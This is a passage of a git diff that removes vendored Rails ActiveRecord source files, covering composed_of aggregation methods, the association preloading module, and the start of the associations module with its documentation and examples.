-      def composed_of(part_id, options = {}, &block)
-        options.assert_valid_keys(:class_name, :mapping, :allow_nil, :constructor, :converter)
-
-        name        = part_id.id2name
-        class_name  = options[:class_name]  || name.camelize
-        mapping     = options[:mapping]     || [ name, name ]
-        mapping     = [ mapping ] unless mapping.first.is_a?(Array)
-        allow_nil   = options[:allow_nil]   || false
-        constructor = options[:constructor] || :new
-        converter   = options[:converter]   || block
-
-        ActiveSupport::Deprecation.warn('The conversion block has been deprecated, use the :converter option instead.', caller) if block_given?
-
-        reader_method(name, class_name, mapping, allow_nil, constructor)
-        writer_method(name, class_name, mapping, allow_nil, converter)
-
-        create_reflection(:composed_of, part_id, options, self)
-      end
-
-      private
-        def reader_method(name, class_name, mapping, allow_nil, constructor)
-          module_eval do
-            define_method(name) do |*args|
-              force_reload = args.first || false
-              if (instance_variable_get("@#{name}").nil? || force_reload) && (!allow_nil || mapping.any? {|pair| !read_attribute(pair.first).nil? })
-                attrs = mapping.collect {|pair| read_attribute(pair.first)}
-                object = case constructor
-                  when Symbol
-                    class_name.constantize.send(constructor, *attrs)
-                  when Proc, Method
-                    constructor.call(*attrs)
-                  else
-                    raise ArgumentError, 'Constructor must be a symbol denoting the constructor method to call or a Proc to be invoked.'
-                  end
-                instance_variable_set("@#{name}", object)
-              end
-              instance_variable_get("@#{name}")
-            end
-          end
-
-        end
-
-        def writer_method(name, class_name, mapping, allow_nil, converter)
-          module_eval do
-            define_method("#{name}=") do |part|
-              if part.nil? && allow_nil
-                mapping.each { |pair| self[pair.first] = nil }
-                instance_variable_set("@#{name}", nil)
-              else
-                unless part.is_a?(class_name.constantize) || converter.nil?
-                  part = case converter
-                    when Symbol
-                     class_name.constantize.send(converter, part)
-                    when Proc, Method
-                      converter.call(part)
-                    else
-                      raise ArgumentError, 'Converter must be a symbol denoting the converter method to call or a Proc to be invoked.'
-                    end
-                end
-                mapping.each { |pair| self[pair.first] = part.send(pair.last) }
-                instance_variable_set("@#{name}", part.freeze)
-              end
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/association_preload.rb b/vendor/rails/activerecord/lib/active_record/association_preload.rb
deleted file mode 100644
index 7acc4151..00000000
--- a/vendor/rails/activerecord/lib/active_record/association_preload.rb
+++ /dev/null
@@ -1,406 +0,0 @@
-module ActiveRecord
-  # See ActiveRecord::AssociationPreload::ClassMethods for documentation.
-  module AssociationPreload #:nodoc:
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    # Implements the details of eager loading of ActiveRecord associations.
-    # Application developers should not use this module directly.
-    #
-    # ActiveRecord::Base is extended with this module. The source code in
-    # ActiveRecord::Base references methods defined in this module.
-    #
-    # Note that 'eager loading' and 'preloading' are actually the same thing.
-    # However, there are two different eager loading strategies.
-    #
-    # The first one is by using table joins. This was only strategy available
-    # prior to Rails 2.1. Suppose that you have an Author model with columns
-    # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
-    # this strategy, ActiveRecord would try to retrieve all data for an author
-    # and all of its books via a single query:
-    #
-    #   SELECT * FROM authors
-    #   LEFT OUTER JOIN books ON authors.id = books.id
-    #   WHERE authors.name = 'Ken Akamatsu'
-    #
-    # However, this could result in many rows that contain redundant data. After
-    # having received the first row, we already have enough data to instantiate
-    # the Author object. In all subsequent rows, only the data for the joined
-    # 'books' table is useful; the joined 'authors' data is just redundant, and
-    # processing this redundant data takes memory and CPU time. The problem
-    # quickly becomes worse and worse as the level of eager loading increases
-    # (i.e. if ActiveRecord is to eager load the associations' assocations as
-    # well).
-    #
-    # The second strategy is to use multiple database queries, one for each
-    # level of association. Since Rails 2.1, this is the default strategy. In
-    # situations where a table join is necessary (e.g. when the +:conditions+
-    # option references an association's column), it will fallback to the table
-    # join strategy.
-    #
-    # See also ActiveRecord::Associations::ClassMethods, which explains eager
-    # loading in a more high-level (application developer-friendly) manner.
-    module ClassMethods
-      protected
-
-      # Eager loads the named associations for the given ActiveRecord record(s).
-      #
-      # In this description, 'association name' shall refer to the name passed
-      # to an association creation method. For example, a model that specifies
-      # <tt>belongs_to :author</tt>, <tt>has_many :buyers</tt> has association
-      # names +:author+ and +:buyers+.
-      #
-      # == Parameters
-      # +records+ is an array of ActiveRecord::Base. This array needs not be flat,
-      # i.e. +records+ itself may also contain arrays of records. In any case,
-      # +preload_associations+ will preload the associations all records by
-      # flattening +records+.
-      #
-      # +associations+ specifies one or more associations that you want to
-      # preload. It may be:
-      # - a Symbol or a String which specifies a single association name. For
-      #   example, specifiying +:books+ allows this method to preload all books
-      #   for an Author.
-      # - an Array which specifies multiple association names. This array
-      #   is processed recursively. For example, specifying <tt>[:avatar, :books]</tt>
-      #   allows this method to preload an author's avatar as well as all of his
-      #   books.
-      # - a Hash which specifies multiple association names, as well as
-      #   association names for the to-be-preloaded association objects. For
-      #   example, specifying <tt>{ :author => :avatar }</tt> will preload a
-      #   book's author, as well as that author's avatar.
-      #
-      # +:associations+ has the same format as the +:include+ option for
-      # <tt>ActiveRecord::Base.find</tt>. So +associations+ could look like this:
-      #
-      #   :books
-      #   [ :books, :author ]
-      #   { :author => :avatar }
-      #   [ :books, { :author => :avatar } ]
-      #
-      # +preload_options+ contains options that will be passed to ActiveRecord#find
-      # (which is called under the hood for preloading records). But it is passed
-      # only one level deep in the +associations+ argument, i.e. it's not passed
-      # to the child associations when +associations+ is a Hash.
-      def preload_associations(records, associations, preload_options={})
-        records = [records].flatten.compact.uniq
-        return if records.empty?
-        case associations
-        when Array then associations.each {|association| preload_associations(records, association, preload_options)}
-        when Symbol, String then preload_one_association(records, associations.to_sym, preload_options)
-        when Hash then
-          associations.each do |parent, child|
-            raise "parent must be an association name" unless parent.is_a?(String) || parent.is_a?(Symbol)
-            preload_associations(records, parent, preload_options)
-            reflection = reflections[parent]
-            parents = records.map {|record| record.send(reflection.name)}.flatten.compact
-            unless parents.empty?
-              parents.first.class.preload_associations(parents, child)
-            end
-          end
-        end
-      end
-
-      private
-
-      # Preloads a specific named association for the given records. This is
-      # called by +preload_associations+ as its base case.
-      def preload_one_association(records, association, preload_options={})
-        class_to_reflection = {}
-        # Not all records have the same class, so group then preload
-        # group on the reflection itself so that if various subclass share the same association then we do not split them
-        # unnecessarily
-        records.group_by {|record| class_to_reflection[record.class] ||= record.class.reflections[association]}.each do |reflection, records|
-          raise ConfigurationError, "Association named '#{ association }' was not found; perhaps you misspelled it?" unless reflection
-
-          # 'reflection.macro' can return 'belongs_to', 'has_many', etc. Thus,
-          # the following could call 'preload_belongs_to_association',
-          # 'preload_has_many_association', etc.
-          send("preload_#{reflection.macro}_association", records, reflection, preload_options)
-        end
-      end
-
-      def add_preloaded_records_to_collection(parent_records, reflection_name, associated_record)
-        parent_records.each do |parent_record|
-          association_proxy = parent_record.send(reflection_name)
-          association_proxy.loaded
-          association_proxy.target.push(*[associated_record].flatten)
-          association_proxy.__send__(:set_inverse_instance, associated_record, parent_record)
-        end
-      end
-
-      def add_preloaded_record_to_collection(parent_records, reflection_name, associated_record)
-        parent_records.each do |parent_record|
-          parent_record.send("set_#{reflection_name}_target", associated_record)
-        end
-      end
-
-      def set_association_collection_records(id_to_record_map, reflection_name, associated_records, key)
-        associated_records.each do |associated_record|
-          mapped_records = id_to_record_map[associated_record[key].to_s]
-          add_preloaded_records_to_collection(mapped_records, reflection_name, associated_record)
-        end
-      end
-
-      def set_association_single_records(id_to_record_map, reflection_name, associated_records, key)
-        seen_keys = {}
-        associated_records.each do |associated_record|
-          #this is a has_one or belongs_to: there should only be one record.
-          #Unfortunately we can't (in portable way) ask the database for 'all records where foo_id in (x,y,z), but please
-          # only one row per distinct foo_id' so this where we enforce that
-          next if seen_keys[associated_record[key].to_s]
-          seen_keys[associated_record[key].to_s] = true
-          mapped_records = id_to_record_map[associated_record[key].to_s]
-          mapped_records.each do |mapped_record|
-            association_proxy = mapped_record.send("set_#{reflection_name}_target", associated_record)
-            association_proxy.__send__(:set_inverse_instance, associated_record, mapped_record)
-          end
-        end
-
-        id_to_record_map.each do |id, records|
-          next if seen_keys.include?(id.to_s)
-          records.each {|record| record.send("set_#{reflection_name}_target", nil) }            
-        end
-      end
-
-      # Given a collection of ActiveRecord objects, constructs a Hash which maps
-      # the objects' IDs to the relevant objects. Returns a 2-tuple
-      # <tt>(id_to_record_map, ids)</tt> where +id_to_record_map+ is the Hash,
-      # and +ids+ is an Array of record IDs.
-      def construct_id_map(records, primary_key=nil)
-        id_to_record_map = {}
-        ids = []
-        records.each do |record|
-          primary_key ||= record.class.primary_key
-          ids << record[primary_key]
-          mapped_records = (id_to_record_map[ids.last.to_s] ||= [])
-          mapped_records << record
-        end
-        ids.uniq!
-        return id_to_record_map, ids
-      end
-
-      def preload_has_and_belongs_to_many_association(records, reflection, preload_options={})
-        table_name = reflection.klass.quoted_table_name
-        id_to_record_map, ids = construct_id_map(records)
-        records.each {|record| record.send(reflection.name).loaded}
-        options = reflection.options
-
-        conditions = "t0.#{reflection.primary_key_name} #{in_or_equals_for_ids(ids)}"
-        conditions << append_conditions(reflection, preload_options)
-
-        associated_records = reflection.klass.with_exclusive_scope do
-          reflection.klass.find(:all, :conditions => [conditions, ids],
-            :include => options[:include],
-            :joins => "INNER JOIN #{connection.quote_table_name options[:join_table]} t0 ON #{reflection.klass.quoted_table_name}.#{reflection.klass.primary_key} = t0.#{reflection.association_foreign_key}",
-            :select => "#{options[:select] || table_name+'.*'}, t0.#{reflection.primary_key_name} as the_parent_record_id",
-            :order => options[:order])
-        end
-        set_association_collection_records(id_to_record_map, reflection.name, associated_records, 'the_parent_record_id')
-      end
-
-      def preload_has_one_association(records, reflection, preload_options={})
-        return if records.first.send("loaded_#{reflection.name}?")
-        id_to_record_map, ids = construct_id_map(records, reflection.options[:primary_key])
-        options = reflection.options
-        records.each {|record| record.send("set_#{reflection.name}_target", nil)}
-        if options[:through]
-          through_records = preload_through_records(records, reflection, options[:through])
-          through_reflection = reflections[options[:through]]
-          through_primary_key = through_reflection.primary_key_name
-          unless through_records.empty?
-            source = reflection.source_reflection.name
-            through_records.first.class.preload_associations(through_records, source)
-            if through_reflection.macro == :belongs_to
-              rev_id_to_record_map, rev_ids = construct_id_map(records, through_primary_key)
-              rev_primary_key = through_reflection.klass.primary_key
-              through_records.each do |through_record|
-                add_preloaded_record_to_collection(rev_id_to_record_map[through_record[rev_primary_key].to_s],
-                                                   reflection.name, through_record.send(source))
-              end
-            else
-              through_records.each do |through_record|
-                add_preloaded_record_to_collection(id_to_record_map[through_record[through_primary_key].to_s],
-                                                   reflection.name, through_record.send(source))
-              end
-            end
-          end
-        else
-          set_association_single_records(id_to_record_map, reflection.name, find_associated_records(ids, reflection, preload_options), reflection.primary_key_name)
-        end
-      end
-
-      def preload_has_many_association(records, reflection, preload_options={})
-        return if records.first.send(reflection.name).loaded?
-        options = reflection.options
-
-        primary_key_name = reflection.through_reflection_primary_key_name
-        id_to_record_map, ids = construct_id_map(records, primary_key_name || reflection.options[:primary_key])
-        records.each {|record| record.send(reflection.name).loaded}
-
-        if options[:through]
-          through_records = preload_through_records(records, reflection, options[:through])
-          through_reflection = reflections[options[:through]]
-          unless through_records.empty?
-            source = reflection.source_reflection.name
-            through_records.first.class.preload_associations(through_records, source, options)
-            through_records.each do |through_record|
-              through_record_id = through_record[reflection.through_reflection_primary_key].to_s
-              add_preloaded_records_to_collection(id_to_record_map[through_record_id], reflection.name, through_record.send(source))
-            end
-          end
-
-        else
-          set_association_collection_records(id_to_record_map, reflection.name, find_associated_records(ids, reflection, preload_options),
-                                             reflection.primary_key_name)
-        end
-      end
-
-      def preload_through_records(records, reflection, through_association)
-        through_reflection = reflections[through_association]
-        through_primary_key = through_reflection.primary_key_name
-
-        if reflection.options[:source_type]
-          interface = reflection.source_reflection.options[:foreign_type]
-          preload_options = {:conditions => ["#{connection.quote_column_name interface} = ?", reflection.options[:source_type]]}
-
-          records.compact!
-          records.first.class.preload_associations(records, through_association, preload_options)
-
-          # Dont cache the association - we would only be caching a subset
-          through_records = []
-          records.each do |record|
-            proxy = record.send(through_association)
-
-            if proxy.respond_to?(:target)
-              through_records << proxy.target
-              proxy.reset
-            else # this is a has_one :through reflection
-              through_records << proxy if proxy
-            end
-          end
-          through_records.flatten!
-        else
-          options = {}
-          options[:include] = reflection.options[:include] || reflection.options[:source] if reflection.options[:conditions] || reflection.options[:order]
-          options[:order] = reflection.options[:order]
-          options[:conditions] = reflection.options[:conditions]
-          records.first.class.preload_associations(records, through_association, options)
-          through_records = records.map {|record| record.send(through_association)}.flatten
-        end
-        through_records.compact!
-        through_records
-      end
-
-      def preload_belongs_to_association(records, reflection, preload_options={})
-        return if records.first.send("loaded_#{reflection.name}?")
-        options = reflection.options
-        primary_key_name = reflection.primary_key_name
-
-        if options[:polymorphic]
-          polymorph_type = options[:foreign_type]
-          klasses_and_ids = {}
-
-          # Construct a mapping from klass to a list of ids to load and a mapping of those ids back to their parent_records
-          records.each do |record|
-            if klass = record.send(polymorph_type)
-              klass_id = record.send(primary_key_name)
-              if klass_id
-                id_map = klasses_and_ids[klass] ||= {}
-                id_list_for_klass_id = (id_map[klass_id.to_s] ||= [])
-                id_list_for_klass_id << record
-              end
-            end
-          end
-          klasses_and_ids = klasses_and_ids.to_a
-        else
-          id_map = {}
-          records.each do |record|
-            key = record.send(primary_key_name)
-            if key
-              mapped_records = (id_map[key.to_s] ||= [])
-              mapped_records << record
-            end
-          end
-          klasses_and_ids = [[reflection.klass.name, id_map]]
-        end
-
-        klasses_and_ids.each do |klass_and_id|
-          klass_name, id_map = *klass_and_id
-          next if id_map.empty?
-          klass = klass_name.constantize
-
-          table_name = klass.quoted_table_name
-          primary_key = reflection.options[:primary_key] || klass.primary_key
-          column_type = klass.columns.detect{|c| c.name == primary_key}.type
-          ids = id_map.keys.map do |id|
-            if column_type == :integer
-              id.to_i
-            elsif column_type == :float
-              id.to_f
-            else
-              id
-            end
-          end
-          conditions = "#{table_name}.#{connection.quote_column_name(primary_key)} #{in_or_equals_for_ids(ids)}"
-          conditions << append_conditions(reflection, preload_options)
-          associated_records = klass.with_exclusive_scope do
-            klass.find(:all, :conditions => [conditions, ids],
-                                          :include => options[:include],
-                                          :select => options[:select],
-                                          :joins => options[:joins],
-                                          :order => options[:order])
-          end
-          set_association_single_records(id_map, reflection.name, associated_records, primary_key)
-        end
-      end
-
-      def find_associated_records(ids, reflection, preload_options)
-        options = reflection.options
-        table_name = reflection.klass.quoted_table_name
-
-        if interface = reflection.options[:as]
-          parent_type = if reflection.active_record.abstract_class?
-            self.base_class.sti_name
-          else
-            reflection.active_record.sti_name
-          end
-
-          conditions = "#{reflection.klass.quoted_table_name}.#{connection.quote_column_name "#{interface}_id"} #{in_or_equals_for_ids(ids)} and #{reflection.klass.quoted_table_name}.#{connection.quote_column_name "#{interface}_type"} = '#{parent_type}'"
-        else
-          foreign_key = reflection.primary_key_name
-          conditions = "#{reflection.klass.quoted_table_name}.#{foreign_key} #{in_or_equals_for_ids(ids)}"
-        end
-
-        conditions << append_conditions(reflection, preload_options)
-
-        reflection.klass.with_exclusive_scope do
-          reflection.klass.find(:all,
-                              :select => (preload_options[:select] || options[:select] || "#{table_name}.*"),
-                              :include => preload_options[:include] || options[:include],
-                              :conditions => [conditions, ids],
-                              :joins => options[:joins],
-                              :group => preload_options[:group] || options[:group],
-                              :order => preload_options[:order] || options[:order])
-        end
-      end
-
-
-      def interpolate_sql_for_preload(sql)
-        instance_eval("%@#{sql.gsub('@', '\@')}@")
-      end
-
-      def append_conditions(reflection, preload_options)
-        sql = ""
-        sql << " AND (#{interpolate_sql_for_preload(reflection.sanitized_conditions)})" if reflection.sanitized_conditions
-        sql << " AND (#{sanitize_sql preload_options[:conditions]})" if preload_options[:conditions]
-        sql
-      end
-
-      def in_or_equals_for_ids(ids)
-        ids.size > 1 ? "IN (?)" : "= ?"
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/associations.rb b/vendor/rails/activerecord/lib/active_record/associations.rb
deleted file mode 100755
index 3a325815..00000000
--- a/vendor/rails/activerecord/lib/active_record/associations.rb
+++ /dev/null
@@ -1,2251 +0,0 @@
-module ActiveRecord
-  class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(reflection, associated_class = nil)
-      super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
-    end
-  end
-
-  class HasManyThroughAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name, reflection)
-      super("Could not find the association #{reflection.options[:through].inspect} in model #{owner_class_name}")
-    end
-  end
-
-  class HasManyThroughAssociationPolymorphicError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name, reflection, source_reflection)
-      super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' on the polymorphic object '#{source_reflection.class_name}##{source_reflection.name}'.")
-    end
-  end
-
-  class HasManyThroughAssociationPointlessSourceTypeError < ActiveRecordError #:nodoc:
-    def initialize(owner_class_name, reflection, source_reflection)
-      super("Cannot have a has_many :through association '#{owner_class_name}##{reflection.name}' with a :source_type option if the '#{reflection.through_reflection.class_name}##{source_reflection.name}' is not polymorphic.  Try removing :source_type on your association.")
-    end
-  end
-
-  class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      through_reflection      = reflection.through_reflection
-      source_reflection_names = reflection.source_reflection_names
-      source_associations     = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
-      super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}.  Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'.  Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
-    end
-  end
-
-  class HasManyThroughSourceAssociationMacroError < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      through_reflection = reflection.through_reflection
-      source_reflection  = reflection.source_reflection
-      super("Invalid source reflection macro :#{source_reflection.macro}#{" :through" if source_reflection.options[:through]} for has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}.  Use :source to specify the source reflection.")
-    end
-  end
-
-  class HasManyThroughCantAssociateThroughHasOneOrManyReflection < ActiveRecordError #:nodoc:
-    def initialize(owner, reflection)
-      super("Cannot modify association '#{owner.class.name}##{reflection.name}' because the source reflection class '#{reflection.source_reflection.class_name}' is associated to '#{reflection.through_reflection.class_name}' via :#{reflection.source_reflection.macro}.")
-    end
-  end
-  HasManyThroughCantAssociateThroughHasManyReflection = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection', 'ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection')
-
-  class HasManyThroughCantAssociateNewRecords < ActiveRecordError #:nodoc:
-    def initialize(owner, reflection)
-      super("Cannot associate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to create the has_many :through record associating them.")
-    end
-  end
-
-  class HasManyThroughCantDissociateNewRecords < ActiveRecordError #:nodoc:
-    def initialize(owner, reflection)
-      super("Cannot dissociate new records through '#{owner.class.name}##{reflection.name}' on '#{reflection.source_reflection.class_name rescue nil}##{reflection.source_reflection.name rescue nil}'. Both records must have an id in order to delete the has_many :through record associating them.")
-    end
-  end
-
-  class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
-    end
-  end
-
-  class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
-    end
-  end
-
-  class ReadOnlyAssociation < ActiveRecordError #:nodoc:
-    def initialize(reflection)
-      super("Can not add to a has_many :through association.  Try adding to #{reflection.through_reflection.name.inspect}.")
-    end
-  end
-
-  # See ActiveRecord::Associations::ClassMethods for documentation.
-  module Associations # :nodoc:
-    # These classes will be loaded when associations are created.
-    # So there is no need to eager load them.
-    autoload :AssociationCollection, 'active_record/associations/association_collection'
-    autoload :AssociationProxy, 'active_record/associations/association_proxy'
-    autoload :BelongsToAssociation, 'active_record/associations/belongs_to_association'
-    autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
-    autoload :HasAndBelongsToManyAssociation, 'active_record/associations/has_and_belongs_to_many_association'
-    autoload :HasManyAssociation, 'active_record/associations/has_many_association'
-    autoload :HasManyThroughAssociation, 'active_record/associations/has_many_through_association'
-    autoload :HasOneAssociation, 'active_record/associations/has_one_association'
-    autoload :HasOneThroughAssociation, 'active_record/associations/has_one_through_association'
-
-    def self.included(base)
-      base.extend(ClassMethods)
-    end
-
-    # Clears out the association cache
-    def clear_association_cache #:nodoc:
-      self.class.reflect_on_all_associations.to_a.each do |assoc|
-        instance_variable_set "@#{assoc.name}", nil
-      end unless self.new_record?
-    end
-
-    private
-      # Gets the specified association instance if it responds to :loaded?, nil otherwise.
-      def association_instance_get(name)
-        association = instance_variable_get("@#{name}")
-        association if association.respond_to?(:loaded?)
-      end
-
-      # Set the specified association instance.
-      def association_instance_set(name, association)
-        instance_variable_set("@#{name}", association)
-      end
-
-    # Associations are a set of macro-like class methods for tying objects together through foreign keys. They express relationships like
-    # "Project has one Project Manager" or "Project belongs to a Portfolio". Each macro adds a number of methods to the class which are
-    # specialized according to the collection or association symbol and the options hash. It works much the same way as Ruby's own <tt>attr*</tt>
-    # methods. Example:
-    #
-    #   class Project < ActiveRecord::Base
-    #     belongs_to              :portfolio
-    #     has_one                 :project_manager
-    #     has_many                :milestones
-    #     has_and_belongs_to_many :categories
-    #   end
-    #
-    # The project class now has the following methods (and more) to ease the traversal and manipulation of its relationships:
-    # * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
-    # * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
-    # * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
-    #   <tt>Project#milestones.delete(milestone), Project#milestones.find(milestone_id), Project#milestones.find(:all, options),</tt>
-    #   <tt>Project#milestones.build, Project#milestones.create</tt>
-    # * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
-    #   <tt>Project#categories.delete(category1)</tt>
-    #
-    # === A word of warning
-    #
-    # Don't create associations that have the same name as instance methods of ActiveRecord::Base. Since the association
-    # adds a method with that name to its model, it will override the inherited method and break things.
-    # For instance, +attributes+ and +connection+ would be bad choices for association names.
-    #
-    # == Auto-generated methods
-    #
-    # === Singular associations (one-to-one)
-    #                                     |            |  belongs_to  |
-    #   generated methods                 | belongs_to | :polymorphic | has_one
-    #   ----------------------------------+------------+--------------+---------
-    #   other                             |     X      |      X       |    X
-    #   other=(other)                     |     X      |      X       |    X
-    #   build_other(attributes={})        |     X      |              |    X
-    #   create_other(attributes={})       |     X      |              |    X
-    #   other.create!(attributes={})      |            |              |    X
-    #
-    # ===Collection associations (one-to-many / many-to-many)
-    #                                     |       |          | has_many
-    #   generated methods                 | habtm | has_many | :through
-    #   ----------------------------------+-------+----------+----------
-    #   others                            |   X   |    X     |    X
-    #   others=(other,other,...)          |   X   |    X     |    X
-    #   other_ids                         |   X   |    X     |    X
-    #   other_ids=(id,id,...)             |   X   |    X     |    X
-    #   others<<                          |   X   |    X     |    X
-    #   others.push                       |   X   |    X     |    X
-    #   others.concat                     |   X   |    X     |    X
-    #   others.build(attributes={})       |   X   |    X     |    X
-    #   others.create(attributes={})      |   X   |    X     |    X
-    #   others.create!(attributes={})     |   X   |    X     |    X
-    #   others.size                       |   X   |    X     |    X
-    #   others.length                     |   X   |    X     |    X
-    #   others.count                      |   X   |    X     |    X
-    #   others.sum(args*,&block)          |   X   |    X     |    X
-    #   others.empty?                     |   X   |    X     |    X
-    #   others.clear                      |   X   |    X     |    X
-    #   others.delete(other,other,...)    |   X   |    X     |    X
-    #   others.delete_all                 |   X   |    X     |
-    #   others.destroy_all                |   X   |    X     |    X
-    #   others.find(*args)                |   X   |    X     |    X
-    #   others.find_first                 |   X   |          |
-    #   others.exists?                    |   X   |    X     |    X
-    #   others.uniq                       |   X   |    X     |    X
-    #   others.reset                      |   X   |    X     |    X
-    #
-    # == Cardinality and associations
-    #
-    # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
-    # relationships between models. Each model uses an association to describe its role in
-    # the relation. The +belongs_to+ association is always used in the model that has
-    # the foreign key.
-    #
-    # === One-to-one
-    #
-    # Use +has_one+ in the base, and +belongs_to+ in the associated model.
-    #
-    #   class Employee < ActiveRecord::Base
-    #     has_one :office
-    #   end
-    #   class Office < ActiveRecord::Base
-    #     belongs_to :employee    # foreign key - employee_id
-    #   end
-    #
-    # === One-to-many
-    #
-    # Use +has_many+ in the base, and +belongs_to+ in the associated model.
-    #
-    #   class Manager < ActiveRecord::Base
-    #     has_many :employees
-    #   end
-    #   class Employee < ActiveRecord::Base
-    #     belongs_to :manager     # foreign key - manager_id
-    #   end
-    #
-    # === Many-to-many
-    #
-    # There are two ways to build a many-to-many relationship.
-    #
-    # The first way uses a +has_many+ association with the <tt>:through</tt> option and a join model, so
-    # there are two stages of associations.
-    #
-    #   class Assignment < ActiveRecord::Base
-    #     belongs_to :programmer  # foreign key - programmer_id
-    #     belongs_to :project     # foreign key - project_id
-    #   end
-    #   class Programmer < ActiveRecord::Base
-    #     has_many :assignments
-    #     has_many :projects, :through => :assignments
-    #   end
-    #   class Project < ActiveRecord::Base
-    #     has_many :assignments
-    #     has_many :programmers, :through => :assignments
-    #   end
-    #
-    # For the second way, use +has_and_belongs_to_many+ in both models. This requires a join table
-    # that has no corresponding model or primary key.
-    #
-    #   class Programmer < ActiveRecord::Base
-    #     has_and_belongs_to_many :projects       # foreign keys in the join table
-    #   end
-    #   class Project < ActiveRecord::Base
-    #     has_and_belongs_to_many :programmers    # foreign keys in the join table
-    #   end
-    #
-    # Choosing which way to build a many-to-many relationship is not always simple.
-    # If you need to work with the relationship model as its own entity,
-    # use <tt>has_many :through</tt>. Use +has_and_belongs_to_many+ when working with legacy schemas or when
-    # you never work directly with the relationship itself.
-    #
-    # == Is it a +belongs_to+ or +has_one+ association?
-    #
-    # Both express a 1-1 relationship. The difference is mostly where to place the foreign key, which goes on the table for the class
-    # declaring the +belongs_to+ relationship. Example:
-    #
-    #   class User < ActiveRecord::Base
-    #     # I reference an account.
-    #     belongs_to :account
-    #   end
-    #
-    #   class Account < ActiveRecord::Base
-    #     # One user references me.
-    #     has_one :user
-    #   end
-    #
-    # The tables for these classes could look something like:
-    #
-    #   CREATE TABLE users (
-    #     id int(11) NOT NULL auto_increment,
-    #     account_id int(11) default NULL,
-    #     name varchar default NULL,
-    #     PRIMARY KEY  (id)
-    #   )
-    #
-    #   CREATE TABLE accounts (
-    #     id int(11) NOT NULL auto_increment,
-    #     name varchar default NULL,
-    #     PRIMARY KEY  (id)
-    #   )
-    #
-    # == Unsaved objects and associations
-    #
-    # You can manipulate objects and associations before they are saved to the database, but there is some special behavior you should be
-    # aware of, mostly involving the saving of associated objects.
-    #
-    # Unless you set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
-    # <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
-    # to +true+ will _always_ save the members, whereas setting it to +false+ will
-    # _never_ save the members.
-    #
-    # === One-to-one associations
-    #
-    # * Assigning an object to a +has_one+ association automatically saves that object and the object being replaced (if there is one), in
-    #   order to update their primary keys - except if the parent object is unsaved (<tt>new_record? == true</tt>).
-    # * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns +false+ and the assignment
-    #   is cancelled.
-    # * If you wish to assign an object to a +has_one+ association without saving it, use the <tt>association.build</tt> method (documented below).
-    # * Assigning an object to a +belongs_to+ association does not save the object, since the foreign key field belongs on the parent. It
-    #   does not save the parent either.
-    #
-    # === Collections
-    #
-    # * Adding an object to a collection (+has_many+ or +has_and_belongs_to_many+) automatically saves that object, except if the parent object
-    #   (the owner of the collection) is not yet stored in the database.
-    # * If saving any of the objects being added to a collection (via <tt>push</tt> or similar) fails, then <tt>push</tt> returns +false+.
-    # * You can add an object to a collection without automatically saving it by using the <tt>collection.build</tt> method (documented below).
-    # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically saved when the parent is saved.
-    #
-    # === Association callbacks
-    #
-    # Similar to the normal callbacks that hook into the lifecycle of an Active Record object, you can also define callbacks that get
-    # triggered when you add an object to or remove an object from an association collection. Example:
-    #
-    #   class Project
-    #     has_and_belongs_to_many :developers, :after_add => :evaluate_velocity
-    #
-    #     def evaluate_velocity(developer)
-    #       ...
-    #     end
-    #   end
-    #
-    # It's possible to stack callbacks by passing them as an array. Example:
-    #
-    #   class Project
-    #     has_and_belongs_to_many :developers, :after_add => [:evaluate_velocity, Proc.new { |p, d| p.shipping_date = Time.now}]
-    #   end
-    #
-    # Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
-    #
-    # Should any of the +before_add+ callbacks throw an exception, the object does not get added to the collection. Same with
-    # the +before_remove+ callbacks; if an exception is thrown the object doesn't get removed.
-    #
-    # === Association extensions
-    #
-    # The proxy objects that control the access to associations can be extended through anonymous modules. This is especially
-    # beneficial for adding new finders, creators, and other factory-type methods that are only used as part of this association.
-    # Example:
